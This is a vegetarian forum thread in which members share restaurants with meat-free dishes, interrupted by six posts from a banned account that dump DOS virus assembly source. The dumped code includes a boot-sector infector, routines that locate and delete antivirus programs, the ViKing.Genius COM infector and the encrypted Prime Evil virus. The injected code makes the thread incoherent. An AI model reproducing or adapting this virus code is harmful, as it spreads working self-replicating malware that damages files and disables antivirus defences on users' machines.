VeggieBoards banner

1 - 17 of 17 Posts

·
Registered
Joined
·
213 Posts
Discussion Starter #1
We went out to eat after church yesterday. We went to the Black Bear Diner. I wasn't sure what I was going to order. Then I saw that they have Gardenburgers! Yea! It was a great lunch. It made my day that they sold it there. Also, there is a Panera Bread place that just opened up too. My husband said that they have lots of veggie options. I haven't tried it yet, but am looking forward to it. Tell about your happy surprised in restaurants.
 

·
Registered
Joined
·
12,079 Posts
Uno's has a vegetarian vegetable soup and a salad that is easily converted to vegan. Their onion soup is also meat/dairy free if you skip the cheese.
 

·
Registered
Joined
·
240 Posts
That's great. I am new too. My first meal out was corn & sweet potato tamales with rice & black beans and salsa. It was delicious. I never would have tried anything like that if I had not become a vegetarian. I would have by-passed it for a meat dish. Boy what I was missing!
 

·
Registered
Joined
·
9,260 Posts
<div class="quote-container"><span>Quote:</span>
<div class="quote-block">Originally Posted by <strong>puppyluv</strong> <a href="/forum/post/0"><img alt="View Post" class="inlineimg" src="/img/forum/go_quote.gif" style=""></a><br><br>
That's great. I am new too. My first meal out was corn & sweet potato tamales with rice & black beans and salsa. It was delicious. I never would have tried anything like that if I had not become a vegetarian. I would have by-passed it for a meat dish. Boy what I was missing!</div>
</div>
<br><br><br><br><br>
Mmmmm.... what restaurant was this? I am so there! It actually took me a while, even as a vegan, to adapt to the idea of a tamale that was not stuffed with shredded pork. (No, I did not eat those as a vegan. I just had not gotten used to the idea.)
 

·
Banned
Joined
·
0 Posts
BOOT:012C 06 PUSH ES; Save registers<br><br>
BOOT:012D 1E PUSH DS<br><br>
BOOT:012E 50 PUSH AX<br><br>
BOOT:012F 53 PUSH BX<br><br>
BOOT:0130 51 PUSH CX<br><br>
BOOT:0131 52 PUSH DX<br><br>
BOOT:0132 56 PUSH SI<br><br>
BOOT:0133 57 PUSH DI<br><br>
BOOT:0134 9C PUSHF<br><br>
BOOT:0135 0E PUSH CS<br><br>
BOOT:0136 07 POP ES<br><br>
; If not read or write<br><br>
BOOT:0137 80FC02 CMP AH,02; jump to original INT13<br><br>
BOOT:013A 726D JC 01A9<br><br>
BOOT:013C 80FC04 CMP AH,04<br><br>
BOOT:013F 7368 JNC 01A9<br><br><br><br>
BOOT:0141 80FA80 CMP DL,80; If HD jump to original INT13<br><br>
BOOT:0144 7363 JNC 01A9<br><br><br><br>
BOOT:0146 33C0 XOR AX,AX<br><br>
BOOT:0148 8ED8 MOV DS,AX<br><br>
BOOT:014A A13F04 MOV AX,[043F]; Test diskette motor<br><br>
BOOT:014D A801 TEST AL,01<br><br>
BOOT:014F 7558 JNZ 01A9; If not run jump to original<br><br>
; INT13<br><br><br><br>
BOOT:0151 BE0400 MOV SI,0004; 4 probe<br><br>
BOOT:0154 33C0 XOR AX,AX<br><br>
BOOT:0156 E85E00 CALL 01B7; Reset drive<br><br>
BOOT:0159 BB0002 MOV BX,0200; Load boot sector to CS:200<br><br>
BOOT:015C B90100 MOV CX,0001<br><br>
BOOT:015F 33D2 XOR DX,DX<br><br>
BOOT:0161 B80102 MOV AX,0201<br><br>
BOOT:0164 E85000 CALL 01B7<br><br>
BOOT:0167 7306 JNC 016F<br><br>
BOOT:0169 4E DEC SI<br><br>
BOOT:016A 75E8 JNZ 0154; Next probe<br><br>
BOOT:016C EB3B JMP 01A9; Jump to original INT13<br><br>
BOOT:016E 90 NOP<br><br><br><br>
BOOT:016F BF0002 MOV DI,0200; Check, if the sector is<br><br>
BOOT:0172 33F6 XOR SI,SI; infected<br><br>
BOOT:0174 0E PUSH CS<br><br>
BOOT:0175 1F POP DS<br><br>
BOOT:0176 AD LODSW<br><br>
BOOT:0177 3B05 CMP AX,[DI]<br><br>
BOOT:0179 7506 JNZ 0181<br><br>
BOOT:017B AD LODSW<br><br>
BOOT:017C 3B4502 CMP AX,[DI+02]<br><br>
BOOT:017F 7428 JZ 01A9<br><br><br><br>
; If not infected<br><br>
BOOT:0181 33C0 XOR AX,AX; Reset drive<br><br>
BOOT:0183 33D2 XOR DX,DX<br><br>
BOOT:0185 E82F00 CALL 01B7<br><br>
; Write original boot sector<br><br>
BOOT:0188 B80103 MOV AX,0301; 0.cyl, 1.hd, 3.sector<br><br>
BOOT:018B BB0002 MOV BX,0200<br><br>
BOOT:018E B103 MOV CL,03<br><br>
BOOT:0190 B601 MOV DH,01<br><br>
BOOT:0192 E82200 CALL 01B7<br><br>
BOOT:0195 7212 JC 01A9<br><br><br><br>
BOOT:0197 33C0 XOR AX,AX; Reset drive<br><br>
BOOT:0199 E81B00 CALL 01B7<br><br><br><br>
BOOT:019C B80103 MOV AX,0301; Save new boot sector<br><br>
BOOT:019F 33DB XOR BX,BX<br><br>
BOOT:01A1 B90100 MOV CX,0001<br><br>
BOOT:01A4 33D2 XOR DX,DX<br><br>
BOOT:01A6 E80E00 CALL 01B7<br><br><br><br>
BOOT:01A9 9D POPF ; Restore registers<br><br>
BOOT:01AA 5F POP DI<br><br>
BOOT:01AB 5E POP SI<br><br>
BOOT:01AC 5A POP DX<br><br>
BOOT:01AD 59 POP CX<br><br>
BOOT:01AE 5B POP BX<br><br>
BOOT:01AF 58 POP AX<br><br>
BOOT:01B0 1F POP DS<br><br>
BOOT:01B1 07 POP ES
 

·
Banned
Joined
·
0 Posts
e jumptoass<br><br><br><br>
cmp word ptr es:[di-3],'PO' ;*STOP = VIRSTOP<br><br>
jne next1<br><br>
cmp word ptr es:[di-5],'TS'<br><br>
je jumptoass<br><br><br><br>
next1: cmp word ptr es:[di-3],'VA' ;AV = cpav<br><br>
je jumptoass ;Central Point<br><br>
cmp word ptr es:[di-3],'TO' ;*prot = F-prot<br><br>
jne next2<br><br>
cmp word ptr es:[di-5],'RP'<br><br>
je jumptoass<br><br><br><br>
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.<br><br>
jne next3<br><br>
cmp word ptr es:[di-5],'CS'<br><br>
je jumptoass<br><br><br><br>
cmp word ptr es:[di-3],'NA' ;*lean = CLEAN.<br><br>
jne next3 ; why not, eh?<br><br>
cmp word ptr es:[di-5],'EL'<br><br>
je jumptoass<br><br>
next3: ret<br><br>
jumptoass:<br><br>
jmp *******_det ;******* Program<br><br>
;Detected, delete<br><br>
move_pointer:<br><br>
push cs<br><br>
pop ds<br><br>
mov bx,[handle-6]<br><br>
xor cx,cx<br><br>
xor dx,dx<br><br>
call int21<br><br>
ret<br><br><br><br>
write_jmp:<br><br>
push cs<br><br>
pop ds<br><br>
mov ax,4200h ; move pointer to beginning of host<br><br>
call move_pointer ; do it, as in move_pointer<br><br>
mov ah,40h ; write<br><br>
mov cx,01h ; a byte<br><br>
lea dx,[jump-6] ; of the jump to LOCKJAW code<br><br>
call int21 ; out to the host<br><br>
mov ah,40h ; reset the pointer<br><br>
mov cx,02h<br><br>
lea dx,[len_file-6]<br><br>
call int21<br><br>
mov ah,40h ; write the virus's recognition<br><br>
mov cx,02h ; intials out to the host<br><br>
lea dx,[initials-6]<br><br>
call int21<br><br>
ret<br><br><br><br>
write_virus:<br><br>
push cs<br><br>
pop ds<br><br>
mov ax,4202h<br><br>
call move_pointer ; move the pointer to end of host<br><br>
mov ah,40 ; write-to-file function<br><br>
mov cx,len ; length of virus in cx<br><br>
mov dx,100<br><br>
call int21<br><br>
ret<br><br><br><br>
get_date:<br><br>
mov ax,5700h ; get date/time stamps oh host<br><br>
call int21 ; stash them in buffers<br><br>
push cs<br><br>
pop ds<br><br>
mov [date-6],dx ;<-----<br><br>
mov [time-6],cx ;<-----<br><br>
ret<br><br><br><br>
Grab_24:<br><br>
mov ax,3524h ; set up critical error handler<br><br>
call int21<br><br>
mov cs:[old_24h-6],bx<br><br>
mov cs:[old_24h+2-6],es<br><br>
mov dx,offset new_24h-6<br><br>
push cs<br><br>
pop ds<br><br>
mov ax,2524h ; revector error handler to virus<br><br>
call int21<br><br>
ret<br><br><br><br>
set_attrib:<br><br>
mov ax,4300h ; retrieve file attributes<br><br>
mov ds,cs:[name_seg-6]<br><br>
mov dx,cs:[name_off-6]<br><br>
call int21<br><br>
and cl,0feh<br><br>
mov ax,4301h<br><br>
call int21<br><br>
ret<br><br>
*******_det:<br><br>
mov ds,cs:[name_seg-6] ; the anti-virus file<br><br>
mov dx,cs:[name_off-6]<br><br>
mov ax, 4301h ; clear attributes<br><br>
mov cx, 00h<br><br>
call int21<br><br>
mov ah, 41h ; delete it<br><br>
call int21<br><br>
chomp:<br><br>
push cs ; da chomper visual<br><br>
pop ds<br><br>
mov ah, 03h<br><br>
int 10h<br><br>
mov [c1-6], bh ; save cursor<br><br>
mov [c2-6], dh<br><br>
mov [c3-6], dl<br><br>
mov [c4-6], ch<br><br>
mov [c5-6], cl<br><br>
mov ah, 1<br><br>
mov cl, 0<br><br>
mov ch, 40h<br><br>
int 10h<br><br><br><br>
mov cl, 0<br><br>
mov dl, 4Fh<br><br>
mov ah, 6<br><br>
mov al, 0<br><br>
mov bh, 0Fh
 

·
Banned
Joined
·
0 Posts
org 100h<br><br><br><br>
Start:<br><br>
cli ;Specially For int 9,8,1C...<br><br>
; pusha<br><br>
push si ;SI=IP=100h<br><br><br><br>
scasw ;DI=SP=FFFEh => DI=0<br><br>
mov al,LoaderSize<br><br>
mov bl,84h - VirusSize<br><br>
mov es,ax<br><br>
mov cl,VirusSize<br><br>
rep movsb ;Move VirusBody to IntTable<br><br><br><br>
mov ds,cx<br><br>
xchg ax,[di+bx] ;Set int 21h<br><br>
cmp al,LoaderSize<br><br>
jz CureOwner<br><br>
stosw<br><br>
mov ax,es<br><br>
xchg ax,[di+bx]<br><br>
stosw<br><br>
CureOwner:<br><br>
push cs<br><br>
pop es<br><br><br><br>
push cs<br><br>
pop ds<br><br><br><br>
pop di ;DI=Old SI=100h<br><br>
sub cx,si ;CX=0,SI=END_OF_VIR=>CX=OwnerSize<br><br><br><br>
rep movsb ;Move OwnerBody to 100h<br><br>
; popa<br><br>
; sti<br><br>
jmp short Start<br><br><br><br>
NewInt:<br><br>
pusha<br><br>
mov si,dx ;Is WriteBuff consisted of<br><br>
lodsb ;COM-file start?<br><br>
cmp ax,40E9h ;Write-func of int 21h?<br><br>
jne ExitFromInt<br><br><br><br>
push ds ;Write VirusBody<br><br>
push cs<br><br>
pop ds<br><br>
cwd<br><br>
mov cx,VirusSize<br><br>
; int INT_NUM<br><br>
int 21h ;Sorry... Can clear stack<br><br>
pop ds ;2 pusha are too much...<br><br>
;AND then... Write OwnerBody.<br><br>
ExitFromInt:<br><br>
popa<br><br>
DB 0EAh<br><br><br><br>
END_OF_VIR:<br><br>
;----------------------------------------------------------------------<br><br>
;Owner Body<br><br>
mov dx,offset String - VirusSize<br><br>
mov ah,9<br><br>
int 21h<br><br>
retn<br><br>
String db "Pay Attention !!! This file is infected by ViKing.Genius virus...$"<br><br>
;----------------------------------------------------------------------<br><br>
end Start
 

·
Banned
Joined
·
0 Posts
%<br><br><br><br>
id equ 0DB33h<br><br>
dta_filename equ 9Eh<br><br><br><br>
seg_a segment byte public<br><br>
assume cs:seg_a, ds:seg_a<br><br><br><br><br><br>
org 100h<br><br><br><br>
prime proc far<br><br><br><br>
vstart equ $<br><br><br><br>
start:<br><br>
xor bx,bx ; Zero register<br><br>
nop<br><br>
nop<br><br>
nop<br><br>
nop<br><br>
call decrypt+1 ; decrypt<br><br>
nop<br><br>
nop<br><br>
nop<br><br>
db 0ebh,46h ;jump to crypt_beg<br><br><br><br>
prime endp<br><br><br><br><br><br>
decrypt proc near<br><br>
data db 00,53h,0bbh ; push bx<br><br>
push sp<br><br><br><br>
add [bx+si+9090h],dx ; where to decrypt<br><br>
nop<br><br>
mov cx,70eh ; # of bytes to decrypt<br><br>
nop<br><br>
nop<br><br>
nop<br><br>
push cx<br><br>
nop<br><br>
nop<br><br>
nop<br><br>
mov al,cs:data<br><br>
nop<br><br>
nop<br><br>
nop<br><br>
nop<br><br>
decrypt2: nop<br><br>
nop<br><br>
nop<br><br>
xor [bx],al<br><br>
nop<br><br>
nop<br><br>
inc bx<br><br>
nop<br><br>
nop<br><br>
loop decrypt2<br><br>
pop cx<br><br>
pop bx<br><br>
nop<br><br>
nop<br><br>
nop<br><br>
nop<br><br>
inc bx<br><br>
dec bx<br><br>
jz return<br><br>
nop<br><br>
nop<br><br>
nop<br><br>
nop<br><br>
mov ah,40h<br><br>
xchg si,dx<br><br>
nop<br><br>
nop<br><br>
int 21h<br><br>
xor bx,bx<br><br>
nop<br><br>
nop<br><br>
nop<br><br>
jmp decrypt+1<br><br>
return:<br><br>
ret<br><br>
nop<br><br>
db 0e9h,80h,00h ; used to **** debug<br><br>
decrypt endp<br><br><br><br>
crypt_beg:<br><br>
fmask db '*.C*', 0<br><br>
message db 'Prime Evil! '<br><br>
db '(C) Spellbound, Line Noise 1992.',0dh,0ah<br><br>
db 'Coded in Stockholm, Sweden.', 0Dh, 0Ah<br><br>
db 'Please spell my name right!$'<br><br><br><br><br><br>
f_size db 0, 0<br><br>
f_time dw 0<br><br>
f_date dw 0<br><br>
data_12 dw 0<br><br>
m_seg dw 0 ;memory segment
 

·
Banned
Joined
·
0 Posts
int_24h_entry proc far ; this replaces int24<br><br>
mov bl,3<br><br>
iret ; interrupt return<br><br>
int_24h_entry endp<br><br><br><br>
f_handle dw 0<br><br>
int_jmp db 0EAh, 5Bh,0E0h, 00h,0F0h<br><br>
int_1:<br><br>
mov dx,offset int_jmp<br><br>
****_sr_1:<br><br>
mov ax,0fe05h ; hook int 1 and int 3<br><br>
jmp ****_sr_1+1 ; (which ****s debug)<br><br>
add ax,0ebfeh<br><br>
sub ah,0b1h<br><br>
int 21h<br><br>
add al,02h<br><br>
int 21h<br><br>
mov al,0ffh<br><br>
out 21h,al<br><br><br><br>
mov ah,4ah<br><br>
mov bx,00c8h<br><br>
int 21h<br><br>
mov ah,48h<br><br>
mov bx,0096h<br><br>
int 21h<br><br>
mov cs:m_seg,ax ; allocate memory<br><br><br><br>
mov ax,2524h<br><br>
mov dx,offset int_24h_entry<br><br>
int 21h ; change int24h<br><br>
; set intrpt vector al to ds:dx<br><br><br><br>
mov ah,2Ah ; get date<br><br>
int 21h<br><br><br><br>
cmp dl,1 ; is it day 1?<br><br><br><br>
jne not_day1 ; no it isn't<br><br><br><br>
mov ah,9<br><br>
mov dx,offset message ; then display a message<br><br>
int 21h ;<br><br>
;<br><br>
call pan_screen ; and pan the screen<br><br><br><br><br><br>
not_day1:<br><br>
mov dx,offset fmask<br><br>
mov ah,4Eh<br><br>
int 21h ; find 1st .COM file<br><br><br><br>
jnc found_com ; if no error, move on to<br><br>
; found_com<br><br><br><br>
xor al,al ; no .COM file found<br><br>
out 21h,al ; exit to dos<br><br>
retn<br><br>
found_com:<br><br>
mov ax,4300h<br><br>
mov dx,dta_filename<br><br>
int 21h ; get file attribute<br><br><br><br>
push cx ; save attrib<br><br>
mov ax,4301h<br><br>
xor cx,cx<br><br>
int 21h ; set attrib to normal<br><br><br><br>
xor al,al ;<br><br>
out 21h,al ; port 21h, 8259-1 int comands<br><br><br><br>
mov dx,dta_filename<br><br>
mov word ptr cs:f_size,dx ; save file size<br><br><br><br>
mov ax,3D02h<br><br>
int 21h ; open file<br><br><br><br>
jnc opened_ok ; Jump if not error<br><br>
jmp find_next ;
 

·
Banned
Joined
·
0 Posts
pened_ok:<br><br>
mov cs:f_handle,ax ; save file handle<br><br><br><br>
mov ax,5700h ; get file date/time<br><br>
mov bx,cs:f_handle<br><br>
int 21h<br><br><br><br>
jnc get_date_ok ; Jump if no error<br><br><br><br>
retn ; error when checking<br><br>
; file time/date, exit to DOS<br><br><br><br>
get_date_ok:<br><br>
mov cs:f_time,cx ; save file time<br><br>
mov cs:f_date,dx ; and file date<br><br><br><br><br><br>
mov ah,3Fh ; read file to memory<br><br>
mov cx,70eh ; <- virus size<br><br>
push ds ; save data seg<br><br>
mov ds,cs:m_seg ; memory segment<br><br>
mov dx,0<br><br>
int 21h<br><br><br><br>
push ax ; save bytes<br><br><br><br>
mov si,0<br><br>
lodsw ; String [si] to ax<br><br>
xchg ax,si<br><br>
pop ax<br><br>
pop ds ; restore data seg<br><br>
mov word ptr cs:f_size,ax ; save file size<br><br>
cmp si,id ; already infected??<br><br>
jne readed_ok ; nope...<br><br>
jmp already_inf ;<br><br>
readed_ok:<br><br>
push ds ; save data seg<br><br>
mov ds,cs:m_seg ; copy memory seg to ds<br><br>
mov es,cs:m_seg ; and es<br><br>
xor di,di ;<br><br>
xor si,si ;<br><br>
mov cx,70eh ; virus size<br><br><br><br>
mov ah,0F3h ; decryption value<br><br><br><br>
crypt_file:<br><br>
lodsb ; load a byte<br><br>
xor al,ah ; decrypt it<br><br>
stosb ; and save it<br><br>
loop crypt_file<br><br><br><br>
pop ds ; restore data seg<br><br><br><br>
mov ax,4200h ; move file ptr.<br><br>
xor cx,cx ; to beginning of file<br><br>
xor dx,dx<br><br>
int 21h<br><br><br><br>
mov ah,2Ch ; get system time<br><br>
int 21h<br><br><br><br>
xchg dh,al ; second to al<br><br>
xor ah,ah ;<br><br>
mul cl ; cl * al = ax<br><br>
; (min * sec = ax)<br><br>
add al,dl ; add al,minutes<br><br>
add ax,70eh ; add ax,virulen<br><br>
add al,byte ptr cs:[10Eh]<br><br>
mov byte ptr cs:[10Eh],al
 

·
Registered
Joined
·
240 Posts
<div class="quote-container"><span>Quote:</span>
<div class="quote-block">Originally Posted by <strong>froggythefrog</strong> <a href="/forum/post/0"><img alt="View Post" class="inlineimg" src="/img/forum/go_quote.gif" style=""></a><br><br>
Mmmmm.... what restaurant was this? I am so there! It actually took me a while, even as a vegan, to adapt to the idea of a tamale that was not stuffed with shredded pork. (No, I did not eat those as a vegan. I just had not gotten used to the idea.)</div>
</div>
<br><br><br>
It was a local restaurant called Starliner Diner, not a nationwide chain.
 

·
Registered
Joined
·
9,260 Posts
<div class="quote-container"><span>Quote:</span>
<div class="quote-block">Originally Posted by <strong>puppyluv</strong> <a href="/forum/post/0"><img alt="View Post" class="inlineimg" src="/img/forum/go_quote.gif" style=""></a><br><br>
It was a local restaurant called Starliner Diner, not a nationwide chain.</div>
</div>
<br><br><br>
I wouldn't expect a nationwide chain to carry that. But I do travel.
 

·
Registered
Joined
·
1,445 Posts
I went to Uno's for dinner with some friends, and they had veggie burgers!!<br><br>
I ended up getting a slice of cheese pizza though (I'm a lacto-ovo veggie)
 
1 - 17 of 17 Posts
Top